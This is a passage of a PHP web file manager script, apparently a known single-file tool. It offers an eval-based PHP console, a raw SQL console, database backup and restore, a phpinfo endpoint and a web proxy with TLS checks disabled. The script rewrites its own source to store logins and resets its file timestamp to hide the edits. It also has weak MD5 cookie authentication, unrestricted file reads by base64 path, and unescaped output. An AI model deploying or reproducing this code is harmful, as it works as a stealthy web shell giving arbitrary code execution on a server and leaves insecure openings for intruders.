		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>检查那些</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8